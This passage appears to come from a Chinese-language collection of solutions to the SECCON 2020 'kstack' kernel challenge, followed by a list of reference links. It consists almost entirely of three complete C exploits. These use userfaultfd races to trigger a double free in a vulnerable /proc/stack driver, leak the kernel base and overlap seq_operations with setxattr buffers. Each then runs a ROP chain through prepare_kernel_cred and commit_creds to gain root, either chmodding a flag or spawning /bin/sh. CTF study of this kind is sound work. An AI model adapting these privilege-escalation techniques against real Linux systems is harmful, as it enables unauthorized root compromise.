if (api.api != UFFD_API)
{
fprintf(stderr, "++ unexepcted UFFD api version.\n");
exit(-1);
}
struct uffdio_register reg = {
.mode = UFFDIO_REGISTER_MODE_MISSING,
.range = {
.start = (long)pages,
.len = memsize}};
if (ioctl(fd, UFFDIO_REGISTER, ®))
{
fprintf(stderr, "++ ioctl(fd, UFFDIO_REGISTER, ...) failed: %m\n");
exit(-1);
}
if (reg.ioctls != UFFD_API_RANGE_IOCTLS)
{
fprintf(stderr, "++ unexpected UFFD ioctls.\n");
exit(-1);
}
return fd;
}
void push(int fd, unsigned long value)
{
unsigned long b = value;
ioctl(fd, CMD_PUSH, &b);
return;
}
unsigned long pop(int fd)
{
unsigned long b = -1;
ioctl(fd, CMD_POP, &b);
return b;
}
void *hack_pop(void *pages)
{
printf("hack_pop\n");
int ret = ioctl(hack, CMD_PUSH, pages);
return NULL;
}
// 0xffffffff8102ce8f // xchg eax, esp
int main(void)
{
hack = Open("/proc/stack", O_RDWR);
int procfds[30];
void *pages1;
void *pages_rop;
ulong test = 0;
ulong kern_base, rop_loc, map_addr;
ulong xchg_eax_esp = 183951;
ulong pop_rbp = 139573;
ulong add_esp_eax = 959959;
ulong mov_rdi_rax = 0xa296e; // mov rdi, rax ; cmp r8, rdx ; jne 0xffffffff810a295b ; ret
ulong mov_rdi_rax2 = 2226330;
ulong swapgs = 257828;
ulong iretq = 120262;
ulong pop_r8 = 0x22beb4;
ulong pop_rdx = 0x10dc0f;
ulong pop_rdi = 0x34505;
ulong pop_rcx = 232180;
ulong pop_rsp = 767347;
ulong pop_rsi = 0x47a8e;
ulong pop_rax = 131761;
ulong ret = pop_rax + 1;
ulong commit_creds = 0x69c10;
ulong prepare_kernel_cred = 0x69e00;
ulong chmod_internal = 0x118910;
ulong msleep = 0x9a950;
push(hack, 0x414141);
push(hack, 0x424242);
push(hack, 0x414141);
push(hack, 0x424242);
char *tmp = malloc(0x20);
int i;
memset(tmp, 'A', 0x10);
if ((pages1 = mmap(NULL, PAGESIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED)
{
fprintf(stderr, "++ mmap failed: %m\n");
return -1;
}
for (i = 0; i < 20; i++)
procfds[i] = Open("/proc/self/stat", O_RDONLY);
for (i = 0; i < 20; i++)
close(procfds[i]);
int ufd1 = prepareUFD(pages1, PAGESIZE);
int fd = ufd1;
pthread_t thread = {0};
printf("creating thread\n");
if (pthread_create(&thread, NULL, hack_pop, pages1))
{
fprintf(stderr, "++ pthread_create failed: %m\n");
goto cleanup_error;
}
// void *fakestack = malloc(0x10000);
// clone(hack_pop, fakestack + 0x10000, CLONE_THREAD | CLONE_SIGHAND | CLONE_VM, (void*)pages1);
printf("yess\n");
printf("wait poll\n");
struct pollfd evt = {.fd = fd, .events = POLLIN};
while (poll(&evt, 1, 10) > 0)
{
/* unexpected poll events */
printf("masuk\n");
if (evt.revents & POLLERR)
{
fprintf(stderr, "++ POLLERR\n");
goto cleanup_error;
}
else if (evt.revents & POLLHUP)
{
fprintf(stderr, "++ POLLHUP\n");
goto cleanup_error;
}
struct uffd_msg fault_msg = {0};
if (read(fd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg))
{
fprintf(stderr, "++ read failed: %m\n");
goto cleanup_error;
}
char *place = (char *)fault_msg.arg.pagefault.address;
if (fault_msg.event != UFFD_EVENT_PAGEFAULT || (place != pages1))
{
fprintf(stderr, "unexpected pagefault?.\n");
goto cleanup_error;
}
printf("%p\n", place);
if (place == pages1)
{
fprintf(stderr, "accessed %p\n", place);
kern_base = pop(hack) - 1293952;
printf("kern_base=%p\n", kern_base);
xchg_eax_esp += kern_base;
*(ulong *)tmp = xchg_eax_esp;
for (i = 0; i < 5; i++)
procfds[i] = Open("/proc/self/stat", O_RDONLY);
sleep(2);
}
struct uffdio_copy copy = {
.dst = (long)place,
.src = (long)tmp,
.len = PAGESIZE};
if (ioctl(fd, UFFDIO_COPY, ©))
{
fprintf(stderr, "++ ioctl(fd, UFFDIO_COPY, ...) failed: %m\n");
goto cleanup_error;
}
}
goto cleanup;
cleanup_error:
return 1;
cleanup:
rop_loc = xchg_eax_esp & 0xffffffff;
map_addr = xchg_eax_esp & 0xfffff000;
if ((pages_rop = mmap(map_addr, 0x40000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED)
{
fprintf(stderr, "++ mmap failed: %m\n");
return -1;
}
ulong rop = map_addr + 0x100;
printf("rop: %p\n", rop);
char *flag = "flag";
ulong mfence = kern_base + 278541;
add_esp_eax += kern_base;
pop_rcx += kern_base;
pop_rsp += kern_base;
pop_rbp += kern_base;
ret += kern_base;
pop_rax += kern_base;
mov_rdi_rax += kern_base;
mov_rdi_rax2 += kern_base;
pop_rsi += kern_base;
pop_r8 += kern_base;
pop_rdx += kern_base;
pop_rdi += kern_base;
swapgs += kern_base;
iretq += kern_base;
commit_creds += kern_base;
prepare_kernel_cred += kern_base;
chmod_internal += kern_base;
msleep += kern_base;
printf("pop_rsp %p\n", pop_rsp);
printf("pop_rax %p\n", pop_rax);
printf("swapgs %p\n", swapgs);
printf("commit_creds %p\n", commit_creds);
printf("prepare_kernel_cred %p\n", prepare_kernel_cred);
printf("chmod_internal %p\n", chmod_internal);
unsigned long *buf = (void *)rop_loc;
i = 0;
sleep(5);
buf[i++] = pop_rdi;
buf[i++] = 0;
buf[i++] = prepare_kernel_cred;
buf[i++] = pop_rsi;
buf[i++] = 1;
buf[i++] = pop_rcx;
buf[i++] = 0;
buf[i++] = mov_rdi_rax2;
buf[i++] = 0x4242424242424;
buf[i++] = commit_creds;
buf[i++] = pop_rdi;
buf[i++] = 0xffffff9c;
buf[i++] = pop_rsi;
buf[i++] = flag; // flag must be string in user address space
buf[i++] = pop_rdx;
buf[i++] = 0777;
buf[i++] = chmod_internal;
buf[i++] = pop_rdi;
buf[i++] = 0x1000000;
buf[i++] = msleep;
for (i = 0; i < 5; i++)
{
printf("%d\n", i);
read(procfds[i], tmp, 0x10);
}
return 0;
}
与exp1没啥区别
// https://ptr-yudai.hatenablog.com/entry/2020/10/11/213127
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "userfaultfd.h"
unsigned long addr_single_stop = 0x13be80;
unsigned long stack_pivot = 0x02cae0;
unsigned long rop_pop_rdi = 0x034505;
unsigned long rop_pop_rcx = 0x038af4;
unsigned long rop_mov_rdi_rax_pop_rbp = 0x01877f;
unsigned long rop_usermode = 0x600a4a;
unsigned long commit_creds = 0x069c10;
unsigned long prepare_kernel_cred = 0x069e00;
unsigned long kbase, kheap;
unsigned long user_cs, user_ss, user_rflags;
static void save_state()
{
asm("movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)::"memory");
}
static void win()
{
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
puts("[+] win!");
execve("/bin/sh", argv, envp);
}
int fd;
void push(void *addr)
{
printf("[+] push = %d\n", ioctl(fd, 0x57ac0001, (unsigned long)addr));
}
void pop(void *addr)
{
printf("[+] pop = %d\n", ioctl(fd, 0x57ac0002, (unsigned long)addr));
}
void fatal(const char *msg)
{
perror(msg);
exit(1);
}
int spray[0x100];
int victim;
static int page_size;
static void *fault_handler_thread(void *arg)
{
unsigned long value;
static struct uffd_msg msg;
static int fault_cnt = 0;
long uffd;
static char *page = NULL;
struct uffdio_copy uffdio_copy;
int len, i;
if (page == NULL)
{
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
fatal("mmap (userfaultfd)");
}
uffd = (long)arg;
for (;;)
{
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
len = poll(&pollfd, 1, -1);
if (len == -1)
fatal("poll");
printf("[+] fault_handler_thread():\n");
printf(" poll() returns: nready = %d; "
"POLLIN = %d; POLLERR = %d\n",
len,
(pollfd.revents & POLLIN) != 0,
(pollfd.revents & POLLERR) != 0);
len = read(uffd, &msg, sizeof(msg));
if (len == 0)
fatal("userfaultfd EOF");
if (len == -1)
fatal("read");
if (msg.event != UFFD_EVENT_PAGEFAULT)
fatal("msg.event");
printf("[+] UFFD_EVENT_PAGEFAULT event: \n");
printf(" flags = 0x%lx\n", msg.arg.pagefault.flags);
printf(" address = 0x%lx\n", msg.arg.pagefault.address);
switch (fault_cnt)
{
case 0:
// double free (caused by pop)
pop(&value);
printf("[+] popped: %016lx\n", value);
break;
case 1:
// overlap Element and seq_operations (caused by push)
pop(&value);
printf("[+] popped: %016lx\n", value);
kbase = value - addr_single_stop;
break;
case 2:
// double free (caused by pop)
pop(&value);
printf("[+] popped: %016lx\n", value);
break;
case 3:
// overlap seq_operations and setxattr buffer (cause by setxattr)
victim = open("/proc/self/stat", O_RDONLY);
printf("[+] victim fd: %d\n", victim);
break;
default:
puts("ponta!");
getchar();
break;
}
// return to kernel-land
uffdio_copy.src = (unsigned long)page;
uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
fatal("ioctl: UFFDIO_COPY");
printf("[+] uffdio_copy.copy = %ld\n", uffdio_copy.copy);
fault_cnt++;
}
}
void setup_pagefault(void *addr, unsigned size)
{
long uffd;
pthread_t th;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
// new userfaulfd
page_size = sysconf(_SC_PAGE_SIZE);
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
fatal("userfaultfd");
// enabled uffd object
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
fatal("ioctl: UFFDIO_API");
// register memory address
uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = size;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
fatal("ioctl: UFFDIO_REGITER");
// monitor page fault
s = pthread_create(&th, NULL, fault_handler_thread, (void *)uffd);
if (s != 0)
fatal("pthread_create");
}
/*
* entry point
*/
int main(void)
{
unsigned long value;
save_state();
for (int i = 0; i < 0x100; i++)
{
spray[i] = open("/proc/self/stat", O_RDONLY);
}
// Allocate memory for userfaultfd
void *pages = (void *)mmap((void *)0x77770000,
0x4000,
PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANON,
-1, 0);
if ((unsigned long)pages != 0x77770000)
fatal("mmap (0x77770000)");
// Open vulnerable driver
fd = open("/proc/stack", O_RDONLY);
if (fd < 0)
fatal("/proc/stack");
setup_pagefault(pages, 0x4000);
// Cause double free
value = 0xcafebabe;
push(&value);
pop(pages); // this command stops by userfaultfd
usleep(300);
// Leak kbase
victim = open("/proc/self/stat", O_RDONLY);
push((void *)((unsigned long)pages + 0x1000));
usleep(300);
printf("[+] kbase = 0x%016lx\n", kbase);
// Cause double free again
value = 0xdeadbeef;
push(&value);
pop((void *)((unsigned long)pages + 0x2000));
usleep(300);
// RIP control primitive
memset((void *)((unsigned long)pages + 0x3000 - 0x20), 'A', 0x20);
memset((void *)((unsigned long)pages + 0x3000 - 0x18), 'B', 0x20);
memset((void *)((unsigned long)pages + 0x3000 - 0x10), 'C', 0x20);
memset((void *)((unsigned long)pages + 0x3000 - 0x08), 'D', 0x20);
*(unsigned long *)((unsigned long)pages + 0x3001 - 0x8) = kbase + stack_pivot;
setxattr("/tmp", "seccon",
(void *)((unsigned long)pages + 0x3001 - 0x20),
0x20, XATTR_CREATE);
usleep(300);
// Prepare ROP chain
unsigned long *chain = (unsigned long *)mmap((void *)0x5d000000 - 0x8000,
0x10000,
PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANON | MAP_POPULATE,
-1, 0);
chain += 0x8000 / sizeof(unsigned long);
*chain++ = 0xdeadbeef;
*chain++ = 0xcafebabe;
*chain++ = kbase + rop_pop_rdi;
*chain++ = 0;
*chain++ = kbase + prepare_kernel_cred;
*chain++ = kbase + rop_pop_rcx;
*chain++ = 0;
*chain++ = kbase + rop_mov_rdi_rax_pop_rbp;
*chain++ = 0xc0bebeef;
*chain++ = kbase + commit_creds;
*chain++ = kbase + rop_usermode;
*chain++ = 0;
*chain++ = 0;
*chain++ = (unsigned long)win;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = 0x5d000000;
*chain++ = user_ss;
// Ignite!
for (int i = 0; i < 0x100; i++)
{
close(spray[i]);
}
read(victim, (void *)0xdeadbeef, 0x99990000);
return 0;
}
看起来蛮有条理的一个写法
// https://blog.csdn.net/qq_61670993/article/details/133550788
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SINGLE_STOP 0xffffffff8113be80
#define INIT_IPC_NS 0xffffffff81c37bc0
size_t pop_rdi = 0xffffffff81034505; // pop rdi ; ret
size_t xchg_rdi_rax = 0xffffffff81d8df6d; // xchg rdi, rax ; ret
size_t commit_creds = 0xffffffff81069c10;
size_t prepare_kernel_cred = 0xffffffff81069e00;
size_t add_rsp_xx = 0xFFFFFFFF814D51C0;
size_t mov_rdi_rax_pop = 0xffffffff8121f89a; // mov rdi, rax ; cmp rcx, rsi ; ja 0xffffffff8121f88d ; pop rbp ; ret
size_t swapgs_kpti = 0xFFFFFFFF81600A44;
int fd;
int seq_fd;
int tmp_seq_fd[101];
size_t kernel_offset;
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
void add(char* buf)
{
if (ioctl(fd, 0x57AC0001, buf) < 0) err_exit("add");
}
void dele(char* buf)
{
if (ioctl(fd, 0x57AC0002, buf) < 0) err_exit("dele");
}
void register_userfaultfd(void* moniter_addr, pthread_t* moniter, void* handler)
{
int uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
if (uffd == -1) err_exit("Failed to exec the syscall for __NR_userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("Failed to exec ioctl for UFFDIO_API");
uffdio_register.range.start = (unsigned long long)moniter_addr;
uffdio_register.range.len = 0x1000;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("Failed to exec ioctl for UFDDIO_REGISTER");
if (pthread_create(moniter, NULL, handler, (void*)uffd)) err_exit("Failed to exec pthread_create for userfaultfd");
}
pthread_t leak, dfree, pwn;
char* uffd_copy_src = NULL;
void leak_handler(void* args)
{
int uffd = (int)args;
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
for (;;)
{
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) == -1) err_exit("Failed to exec poll for leak_handler");
int res = read(uffd, &msg, sizeof(msg));
if (res == 0) err_exit("EOF on userfaultfd for leak_handler");
if (res == -1) err_exit("ERROR on userfaultfd for leak_handler");
if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("INCORRET EVENT in leak_handler");
info("Leak the kernel base in userfaultfd -- leak_handler");
dele(&kernel_offset);
hexx("single_stop", kernel_offset);
kernel_offset -= SINGLE_STOP;
hexx("kernel_offset", kernel_offset);
uffdio_copy.src = uffd_copy_src;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("Failed to exec ioctl for UFFDIO_COPY in leak_handler");
}
}
void dfree_handler(void* args)
{
int uffd = (int)args;
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
for (;;)
{
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) == -1) err_exit("Failed to exec poll for dfree_handler");
int res = read(uffd, &msg, sizeof(msg));
if (res == 0) err_exit("EOF on userfaultfd for dfree_handler");
if (res == -1) err_exit("ERROR on userfaultfd for dfree_handler");
if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("INCORRET EVENT in dfree_handler");
info("Construct double free in userfaultfd -- dfree_handler");
puts("double free for second free");
dele(uffd_copy_src);
uffdio_copy.src = uffd_copy_src;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("Failed to exec ioctl for UFFDIO_COPY in dfree_handler");
}
}
void pwn_handler(void* args)
{
int uffd = (int)args;
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
for (;;)
{
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) == -1) err_exit("Failed to exec poll for pwn_handler");
int res = read(uffd, &msg, sizeof(msg));
if (res == 0) err_exit("EOF on userfaultfd for pwn_handler");
if (res == -1) err_exit("ERROR on userfaultfd for pwn_handler");
if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("INCORRET EVENT in pwn_handler");
info("PWN PWN -- pwn_handler");
for (int i = 1; i < 101; i++) close(tmp_seq_fd[i]);
add(uffd_copy_src);
asm volatile(
"mov r13, pop_rdi;"
"mov r12, 0;"
"mov rbp, prepare_kernel_cred;"
"mov rbx, mov_rdi_rax_pop;"
"mov r10, commit_creds;"
"mov r9, swapgs_kpti;"
"mov rcx, 0xbbbbbbbb;"
);
read(seq_fd, uffd_copy_src, 8);
hexx("UID", getuid());
system("/bin/sh");
uffdio_copy.src = uffd_copy_src;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("Failed to exec ioctl for UFFDIO_COPY in pwn_handler");
}
}
int main(int argc, char** argv, char** env)
{
bind_core(0);
char* uffd_buf_leak;
char* uffd_buf_dfree;
char* uffd_buf_pwn;
hexx("page_size", sysconf(_SC_PAGE_SIZE));
fd = open("/proc/stack", O_RDWR);
if (fd < 0) err_exit("Failed to open dev file -- /proc/stack");
uffd_copy_src = malloc(0x1000);
for (int i = 1; i < 101; i++)
if ((tmp_seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0) err_exit("Failed to open /proc/self/stat");
uffd_buf_leak = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
register_userfaultfd(uffd_buf_leak, &leak, leak_handler);
uffd_buf_dfree = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
register_userfaultfd(uffd_buf_dfree, &dfree, dfree_handler);
uffd_buf_pwn = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
register_userfaultfd(uffd_buf_pwn+0x1000, &pwn, pwn_handler);
// leak kernel base or kernle offset
tmp_seq_fd[0] = open("/proc/self/stat", O_RDONLY);
close(tmp_seq_fd[0]);
add(uffd_buf_leak);
pop_rdi += kernel_offset;
xchg_rdi_rax += kernel_offset;
commit_creds += kernel_offset;
prepare_kernel_cred += kernel_offset;
mov_rdi_rax_pop += kernel_offset;
swapgs_kpti += kernel_offset;
add_rsp_xx += kernel_offset;
hexx("add_rsp_xx", add_rsp_xx);
// construct double free
add("XiaozaYa");
puts("double free for first free");
dele(uffd_buf_dfree);
// pwn by hijacking the seq_operations->start
// just test double free
// puts("Test double free fetch");
// info("Frist fetch object");
// add(uffd_copy_src);
// info("Second fetch object");
// add(uffd_copy_src);
*(size_t*)(uffd_buf_pwn+0x1000-8) = add_rsp_xx;
seq_fd = open("/proc/self/stat", O_RDONLY);
if (seq_fd < 0) err_exit("Failed to open /proc/self/stat to hijack seq_operations->start");
setxattr("/exp", "hacker", uffd_buf_pwn+0x1000-8, 32, 0);
return 0;
}
https://blog.smallkirby.com/posts/kstack/
https://xz.aliyun.com/t/9469
https://www.cnblogs.com/pwnfeifei/p/16650533.html
https://blog.csdn.net/qq_61670993/article/details/133550788
http://brieflyx.me/2020/linux-tools/userfaultfd-internals/
https://www.anquanke.com/post/id/266898
https://www.roderickchan.cn/zh-cn/2022-04-28-seccon-2020-kstack/
https://gist.github.com/d4em0n/cd358e64ff956a772ebdb531a985ac2a
https://ptr-yudai.hatenablog.com/entry/2020/10/11/213127